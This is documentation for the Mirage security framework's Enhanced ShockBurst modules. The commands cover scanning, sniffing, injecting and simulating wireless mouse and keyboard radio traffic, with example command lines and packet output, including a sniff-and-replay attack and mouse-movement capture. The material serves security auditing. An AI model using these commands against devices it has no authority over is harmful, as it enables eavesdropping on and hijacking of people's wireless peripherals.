List of Enhanced ShockBurst Modules

esb_info

Presentation

esb_info displays some informations about a specific interface. The supported devices and their corresponding interfaces are listed here. The displayed informations and the output parameters changes according to the provided interface.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rfstorm0

rfstormX,<filename>.pcap

Interface to display

SHOW_CAPABILITIES

yes

yes|no

Indicates if the capabilities of the interface should be displayed

Output parameters

  • If the interface provided is rfstormX:

Name

Possible values

Description

INTERFACE

rfstormX

Selected interface

MODE

PROMISCUOUS | GENERIC_PROMISCUOUS | SNIFFER

Mode currently in use in the selected interface

INDEX

#X

Device’s index number

  • If the interface provided is <filename>.pcap:

Name

Possible values

Description

INTERFACE

<filename>.pcap

Selected interface

MODE

read | write

Mode in use

Usage

If you want to display the informations related to an RFStorm interface :

$ mirage esb_info INTERFACE=rfstorm0
[INFO] Module esb_info loaded !
┌───────────┬──────────────┬─────────────┐
│ Interface │ Device Index │ Mode        │
├───────────┼──────────────┼─────────────┤
│ rfstorm0  │ #0           │ PROMISCUOUS │
└───────────┴──────────────┴─────────────┘
[INFO] Mirage process terminated !

esb_scan

Presentation

esb_scan allows to identify Enhanced ShockBurst devices thanks to the promiscuous mode provided by the RFStorm Device. It allows to provide a specific range of channels to scan using the START_CHANNEL and END_CHANNEL parameters. There is a possiblity to limit the execution time with the TIME parameter (execution duration in seconds). If this parameter is set to an empty string (“”), the execution doesn’t automatically stop.

Warning

Please note the fact that in promiscuous mode, only a subset of frames are received by the device. It may require multiple executions in order to identify your target.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rfstorm0

rfstormX

Interface to use

START_CHANNEL

0

<integer>

First channel of the range to scan

END_CHANNEL

99

<integer>

Last channel of the range to scan

TIME

10

<integer>

Execution duration

Output parameters

If no devices have been identified, no output parameters are generated. If there is only one device identified, the output parameters are listed in the following table :

Name

Possible values

Description

TARGET

<ESB address>

ESB address of the identified device

PROTOCOL

logitech|microsoft|chicony|generic

Applicative protocol of the identified device

If multiple devices have been identified, the same output parameters are generated, but are suffixed by the number of the device :

Name

Possible values

Description

TARGET1

<ESB address>

ESB address of the first identified device

PROTOCOL1

logitech|microsoft|chicony|generic

Applicative protocol of the first identified device

TARGET2

<ESB address>

ESB address of the second identified device

PROTOCOL2

logitech|microsoft|chicony|generic

Applicative protocol of the second identified device

...

...

...

Usage

If you want to list the devices during 10 seconds :

$ mirage esb_scan
[INFO] Module esb_scan loaded !
┌────────────────┬──────────┬──────────┐
│ Address        │ Channels │ Protocol │
├────────────────┼──────────┼──────────┤
│ E8:46:F9:2F:A4 │ 74       │ logitech │
└────────────────┴──────────┴──────────┘
[INFO] Mirage process terminated !

If you want to list the devices using the interface rfstorm1 without stopping the module after 10 seconds, use the following input parameters:

$ mirage esb_scan INTERFACE=rfstorm1 TIME=""
[INFO] Module esb_scan loaded !
┌────────────────┬──────────┬──────────┐
│ Address        │ Channels │ Protocol │
├────────────────┼──────────┼──────────┤
│ E8:46:F9:2F:A4 │ 74       │ logitech │
└────────────────┴──────────┴──────────┘
[...]

Finally, you can provide a range of channels to scan using the END_CHANNEL and START_CHANNEL parameters:

$ mirage esb_scan START_CHANNEL=10 END_CHANNEL=50
[INFO] Module esb_scan loaded !
┌────────────────┬──────────┬──────────┐
│ Address        │ Channels │ Protocol │
├────────────────┼──────────┼──────────┤
│ E8:46:F9:2F:A4 │ 48,44    │ logitech │
└────────────────┴──────────┴──────────┘
[INFO] Mirage process terminated !

esb_sniff

Presentation

esb_sniff passively sniffs Enhanced ShockBurst frames. It works with a RFStorm Device, allowing to use the two implemented modes (promiscuous and normal) in order to capture frames. It can also export the sniffed data in a PCAP file (at the path given in the PCAP_FILE parameter).

You can choose the channels to monitor thanks to the CHANNELS parameter. You can provide multiple values :

  • all: all the channels are used

  • X-Y: the channels from X to Y are used

  • X,Y,Z: the channels X, Y and Z are used

  • X-Y,Z: the channels X to Y and Z are used

By default, the module performs an active scan before the sniffing process: it transmits a ping request on every channel included in the channels map until an acknowledgment frame is received. Then, it switches to sniffing mode. It requires to provide a target address (TARGET parameter). If you don’t provide any target (or if you provide the value “FF:FF:FF:FF:FF”), the module will automatically switch in passive scan mode.

If you want to perform a passive scan, you must set the ACTIVE_SCAN parameter to no. As a result, no ping request will be transmitted, and the device will explore the provided channels in order to discover frames transmitted by your target.

By default, only the frames transmitted by PTX devices are captured. If you want to capture the acknowledgment frames, you have to set the ACK_PACKETS parameter to yes.

There is a possiblity to limit the execution time with the TIME parameter (execution duration in seconds). If this parameter is set to an empty string (“”), the execution doesn’t automatically stop.

Finally, some devices are using channel hopping and regularly move to another channel, so this module allows to easily control its behaviour when no frames are received. You can provide a channel timeout (CHANNEL_TIMEOUT parameter) and what to do when the timeout is reached (using the LOST_STREAM_ACTION parameter, which can be set to continue or stop).

  • continue: if this mode is selected, the module performs a new scan to find the target when the channel timeout is reached

  • stop: if this mode is selected, the module stops its execution when the channel timeout is reached

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rfstorm0

rfstormX

Interface to use

TARGET

<ESB adress>

Address of the target device

CHANNELS

all

all|X|X-Y|X,Y||X-Y,Z

Channels to monitor

TIME

<integer>

Execution duration

ACK_PACKETS

no

yes|no

Acknowledgment frames have to be captured

ACTIVE_SCAN

yes

yes|no

Active scan mode

CHANNEL_TIMEOUT

20

<integer>

Timeout duration when no frame are received on the current channel

LOST_STREAM_ACTION

continue

continue|stop

Behaviour to execute when the channel timeout is reached

PCAP_FILE

<file path>

PCAP export file

MOUSE_FILE

<file path>

Mouse movement export file

Output parameters

Name

Possible values

Description

TARGET

<ESB address>

ESB address of the target

MOUSE_FILE

<file path>

Mouse movement export file

PCAP_FILE

<file path>

PCAP export file

CHANNEL

<integer>

Last channel used by the target

Usage

Basic Usage

If you want to sniff a specific target, you have to provide the TARGET parameter :

$ mirage esb_sniff TARGET=E8:46:F9:2F:A4
[INFO] Module esb_sniff loaded !
[INFO] Sniffing mode enabled !
[INFO] Channels: 0-99
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=5 | y=8 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=5 | y=8 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=6 | y=12 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=6 | y=12 >>
[...]

If you don’t know what is your target address, uses the following value as TARGET :

$ mirage esb_sniff TARGET=FF:FF:FF:FF:FF
[INFO] Module esb_sniff loaded !
[INFO] Promiscuous mode enabled ! Only a subset of frames will be sniffed.
[WARNING] Active scanning not compatible with promiscuous mode, ACTIVE parameter will be ignored.
[INFO] Channels: 0-99
[INFO] Looking for an active channel for FF:FF:FF:FF:FF...
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=8 | y=9 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=8 | y=9 >>
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=12 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=12 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-16 | y=6 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-16 | y=6 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-10 | y=-2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-10 | y=-2 >>
[...]

Warning

If you use this feature, please keep in mind that only a subset of frames will be captured because of some limitations of the promiscous mode.

You can select a specific subset of channels to monitor thanks to the CHANNELS parameter :

$ mirage esb_sniff TARGET=E8:46:F9:2F:A4 CHANNELS=5,8,72,76
[INFO] Module esb_sniff loaded !
[INFO] Sniffing mode enabled !
[INFO] Channels: 5,8,72,76
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=0 | y=11 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=0 | y=11 >>
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=12 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=12 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=14 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=14 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-6 | y=15 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-6 | y=15 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=10 >>
[...]

You can also use a passive scan if you don’t want to transmit ping request at the beginning of the module execution (ACTIVE_SCAN):

$ mirage esb_sniff TARGET=E8:46:F9:2F:A4 ACTIVE_SCAN=no
[INFO] Module esb_sniff loaded !
[INFO] Sniffing mode enabled !
[INFO] Channels: 0-99
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=-4 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=-4 >>
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=-4 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=-4 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-3 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-3 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-5 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-5 >>
[...]

If you want to export the collected data to a PCAP file, uses the following command:

$ mirage esb_sniff TARGET=E8:46:F9:2F:A4 PCAP_FILE=/tmp/out.pcap
[INFO] Module esb_sniff loaded !
[INFO] Sniffing mode enabled !
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[INFO] Channels: 0-99
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-1 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-1 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-4 | y=2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-4 | y=2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-3 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-3 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-2 | y=-4 >>
[...]

Performing a replay attack

This module can be combined with esb_inject in order to perform a replay attack:

$ mirage "esb_sniff|esb_inject" esb_sniff1.TARGET=E8:46:F9:2F:A4 esb_sniff1.TIME=5 esb_sniff1.PCAP_FILE=/tmp/replay.pcap
[INFO] Module esb_sniff loaded !
[INFO] Module esb_inject loaded !
[INFO] Sniffing mode enabled !
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[INFO] Channels: 0-99
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=3 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=3 >>
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-7 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-7 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=2 >>
[...]
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=255 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-3 | y=3 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-3 | y=3 >>
[INFO] Sniffing mode enabled !
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[SUCCESS] Injection done !
[INFO] Mirage process terminated !

Capturing and displaying the mouse movements

This module can be combined with mouse_visualizer in order to generate an animated GIF displaying the mouse movement:

$ mirage "esb_sniff|mouse_visualizer" esb_sniff1.TARGET=E8:46:F9:2F:A4 esb_sniff1.TIME=5 esb_sniff1.MOUSE_FILE=/tmp/mouse.capture mouse_visualizer2.GIF_FILE=/tmp/mouse.gif
[INFO] Module esb_sniff loaded !
[INFO] Module mouse_visualizer loaded !
[INFO] Sniffing mode enabled !
[INFO] Channels: 0-99
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=0 | y=-1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=0 | y=-1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=-1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=-1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=-1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=-1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=1 | y=-2 >>
[...]
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-1 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-1 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Hello / Set Timeout Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | button=right | x=0 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | button=right | x=0 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Hello / Set Timeout Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[SUCCESS] Sniffed mice datas are saved as /tmp/mouse.capture (CFG file format)
[INFO] Importing mice datas from /tmp/mouse.capture ...
[INFO] Mirage process terminated !

It produces a GIF animated file similar to the following one:

_images/mousevisualizer_example.gif

esb_inject

Presentation

esb_inject allows to inject Enhanced ShockBurst frames. It works with a RFStorm Device. It imports the frames stored in a PCAP file (provided as PCAP_FILE parameter) and uses the provided interface to inject them.

You have to provide a target using the TARGET parameter. If no target is provided (or the value provided is “FF:FF:FF:FF:FF”), every frame contained in the PCAP file are transmitted. Else, only the frames corresponding to the provided target will be transmitted. You can choose the injection channel thanks to the CHANNEL parameter. You can provide multiple values :

  • auto: an active scan is performed in order to find the target

  • X: the channel X is used

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rfstorm0

rfstormX

Interface to use

TARGET

<ESB adress>

Address of the target device

CHANNEL

auto

auto|<integer>

Injection channel

PCAP_FILE

<file path>

PCAP file

Output parameters

This module doesn’t provide any output parameters.

Usage

Basic Usage

If you want to inject frames to a specific target, you have to provide the TARGET parameter:

$ mirage esb_inject TARGET=E8:46:F9:2F:A4 PCAP_FILE=/tmp/replay.pcap
[INFO] Module esb_inject loaded !
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[INFO] Sniffing mode enabled !
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[SUCCESS] Channel found: 17
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[SUCCESS] Injection done !
[INFO] Mirage process terminated !

If you don’t provide the TARGET parameter, every frame contained in the PCAP file will be transmitted:

$ mirage esb_inject PCAP_FILE=/tmp/replay.pcap
[INFO] Module esb_inject loaded !
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[INFO] Promiscuous mode enabled ! Every frame contained in the file indicated in PCAP_FILE will be transmitted.
[INFO] Looking for an active channel for FF:FF:FF:FF:FF...
[SUCCESS] Channel found: 12
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[SUCCESS] Injection done !
[INFO] Mirage process terminated !

You can select a specific channel thanks to the CHANNEL parameter :

$ mirage esb_inject TARGET=E8:46:F9:2F:A4 PCAP_FILE=/tmp/replay.pcap CHANNEL=12
[INFO] Module esb_inject loaded !
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[INFO] Sniffing mode enabled !
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[SUCCESS] Injection done !
[INFO] Mirage process terminated !

Performing a replay attack

This module can be combined with esb_sniff in order to perform a replay attack:

$ mirage "esb_sniff|esb_inject" esb_sniff1.TARGET=E8:46:F9:2F:A4 esb_sniff1.TIME=5 esb_sniff1.PCAP_FILE=/tmp/replay.pcap
[INFO] Module esb_sniff loaded !
[INFO] Module esb_inject loaded !
[INFO] Sniffing mode enabled !
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[INFO] Channels: 0-99
[INFO] Looking for an active channel for E8:46:F9:2F:A4...
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=3 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-8 | y=3 >>
[SUCCESS] Channel found: 8
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-7 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-7 | y=1 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=2 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-5 | y=2 >>
[...]
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=255 | y=0 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-3 | y=3 >>
[PACKET] [ CH:8 ] << ESB - Logitech Mouse Packet (logitech) | address=E8:46:F9:2F:A4 | x=-3 | y=3 >>
[INFO] Sniffing mode enabled !
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] PCAP file successfully loaded (DLT : 148) !
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[SUCCESS] Injection done !
[INFO] Mirage process terminated !

esb_prx

Presentation

esb_prx simulates a PRX device’s behaviour. It is a core module for the framework, allowing to quickly build recurrent behaviours during a security audit. If a scenario is provided, the module is launched in “scenario” mode, with events given as callbacks on specific packet types, allowing to implement complex interactions. Otherwise, it is launched in “interpreter” mode, opening a CLI for the user.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rfstorm0

rfstormX

Interface to use

TARGET

<ESB address>

Target address

SCENARIO

<scenario>

Scenario to use

Scenario signals

The behaviour of this module can be modified using scenarios. If you need more details about Mirage scenarios, their usage is described here. The following signals are generated by this module if a scenario is provided using the SCENARIO input parameter :

Signal

Parameters

Activation

Default behaviour

onStart

when the module starts its execution

nothing is executed

onEnd

when the module stops its execution

nothing is executed

onKey

key

when a key is pressed

nothing is executed

onIncomingPacket

packet

when an incoming packet is received (from PTX)

nothing is executed

You can manually stop the module’s execution by calling the method stopScenario:

self.module.stopScenario()

Commands

The following commands are available in the CLI interface :

  • clear : clears the screen

  • channel : displays the current channel

  • channel <channel> : moves to the provided channel

  • scan : calls the esb_scan module to list near ESB devices

  • scan <duration> : calls the esb_scan module for the specified duration to list near ESB devices

  • scan <duration> <start_channel> <end_channel> : calls the esb_scan module for the specified duration on the specified channel range to list near ESB devices

  • address : displays the address currently selected

  • address <ESB address> : changes the address to the one provided

  • show : displays the received frames

  • auto_ack : enables or disables the auto ACK mode

  • send <payload> : sends an acknowledgement payload to the PTX (if the auto ACK mode is enabled, the frame will be transmitted when a new frame is received)

  • send <payload1>,<payload2>,… : sends multiple acknowledgment payloads to the PTX (if the auto ACK mode is enabled, the frames will be transmitted when new frames are received)

  • exit : ends the execution

Usage

CLI mode

If you want to use this module in CLI mode, just calls the module without input parameters :

$ mirage esb_prx
[INFO] Module esb_prx loaded !
[PRX|71]:

You can easily scan the devices using the scan command :

[PRX|47]: scan
┌────────────────┬──────────┬──────────┐
│ Address        │ Channels │ Protocol │
├────────────────┼──────────┼──────────┤
│ E8:46:F9:2F:A4 │ 8,14     │ logitech │
└────────────────┴──────────┴──────────┘
[...]
┌────────────────┬───────────────────────────────────────┬──────────┐
│ Address        │ Channels                              │ Protocol │
├────────────────┼───────────────────────────────────────┼──────────┤
│ E8:46:F9:2F:A4 │ 32,65,35,36,69,71,8,74,44,45,14,17,62 │ logitech │
└────────────────┴───────────────────────────────────────┴──────────┘

Then, you can select a specific address using address :

[PRX|98]: address E8:46:F9:2F:A4
[PRX|98|E8:46:F9:2F:A4]:

You can set the channel using channel command :

[PTX|98|E8:46:F9:2F:A4]: channel 8
[PTX| 8|E8:46:F9:2F:A4]:

You can automatically transmit ACK frames using the auto_ack command :

[PRX| 8|E8:46:F9:2F:A4]: auto_ack
[INFO] Auto ACK enabled !

You can monitor the received frames using the show command :

[PRX| 8|E8:46:F9:2F:A4]: show
[INFO] Received frames: (Ctrl + C to exit)
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>
[PACKET] [ CH:8 ] << ESB - Logitech Keepalive Packet (logitech) | address=E8:46:F9:2F:A4 | timeout=85 >>

Finally, you can easily transmit ACK payloads using send:

[PRX| 8|E8:46:F9:2F:A4]: send 0f0f0f
[INFO] The specified ACK payloads will be transmitted automatically when a new frame is received.

Customizing the behaviour using scenarios

If you want to use a scenario, you can use the create_scenario command in order to generate a basic code :

$ mirage --create_scenario
[QUESTION] Scenario's name : esb_prx_test
[SUCCESS] Scenario master_test successfully generated : /home/user/.mirage/scenarios/esb_prx_test.py
[INFO] Mirage process terminated !

Then, you can modify the code as you want.

If you want to use this scenario, just provide its name as the value of the input parameter SCENARIO :

$ sudo mirage esb_prx SCENARIO=esb_prx_test
[INFO] Module esb_prx loaded !
[INFO] Scenario loaded !
[...]
[INFO] Mirage process terminated !

esb_ptx

Presentation

esb_ptx simulates a PTX device’s behaviour. It is a core module for the framework, allowing to quickly build recurrent behaviours during a security audit. If a scenario is provided, the module is launched in “scenario” mode, with events given as callbacks on specific packet types, allowing to implement complex interactions. Otherwise, it is launched in “interpreter” mode, opening a CLI for the user.

A follow mode is provided thanks to the FOLLOW_MODE parameter, allowing to regularly check if the corresponding PRX is responding on the current channel. It sends ping request every second and if no acknowledgement frame is received, then the module will automatically scan channels in order to find it.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rfstorm0

rfstormX

Interface to use

TARGET

<ESB address>

Target address

FOLLOW_MODE

yes

yes|no

Follow mode

SCENARIO

<scenario>

Scenario to use

Scenario signals

The behaviour of this module can be modified using scenarios. If you need more details about Mirage scenarios, their usage is described here. The following signals are generated by this module if a scenario is provided using the SCENARIO input parameter :

Signal

Parameters

Activation

Default behaviour

onStart

when the module starts its execution

nothing is executed

onEnd

when the module stops its execution

nothing is executed

onKey

key

when a key is pressed

nothing is executed

onESBAckResponse

packet

when an incoming acknowledgment is received (from PRX)

nothing is executed

onPingFailure

when the ping response acknowledgement is not received (from PRX)

nothing is executed

onPRXFound

when the PRX has been found by the scan initiated after the ping failure

nothing is executed

You can manually stop the module’s execution by calling the method stopScenario:

self.module.stopScenario()

Commands

The following commands are available in the CLI interface :

  • clear : clears the screen

  • channel : displays the current channel

  • channel <channel> : moves to the provided channel

  • scan : calls the esb_scan module to list near ESB devices

  • scan <duration> : calls the esb_scan module for the specified duration to list near ESB devices

  • scan <duration> <start_channel> <end_channel> : calls the esb_scan module for the specified duration on the specified channel range to list near ESB devices

  • address : displays the address currently selected

  • address <ESB address> : changes the address to the one provided

  • find_prx : performs an active scan in order to find the corresponding PRX

  • find_prx <channel_range> : performs an active scan in order to find the corresponding PRX in the selected channel range (e.g. “0-10”)

  • follow_prx : enables the follow mode

  • unfollow_prx : disables the follow mode

  • send <payload> : sends a specific payload to the PRX

  • send <payload1>,<payload2>,… : sends multiple payloads to the PRX

  • exit : ends the execution

Usage

CLI mode

If you want to use this module in CLI mode, just calls the module without input parameters :

$ mirage esb_ptx
[INFO] Module esb_ptx loaded !
[PTX|12]:

You can easily scan the devices using the scan command :

[PTX|99]: scan
┌────────────────┬──────────┬──────────┐
│ Address        │ Channels │ Protocol │
├────────────────┼──────────┼──────────┤
│ E8:46:F9:2F:A4 │ 8        │ logitech │
└────────────────┴──────────┴──────────┘
())))))))))))))))))))))))))))))))))))))))))))))))))___________) Channel: 81

Then, you can select a specific address using address :

[PTX|98]: address E8:46:F9:2F:A4
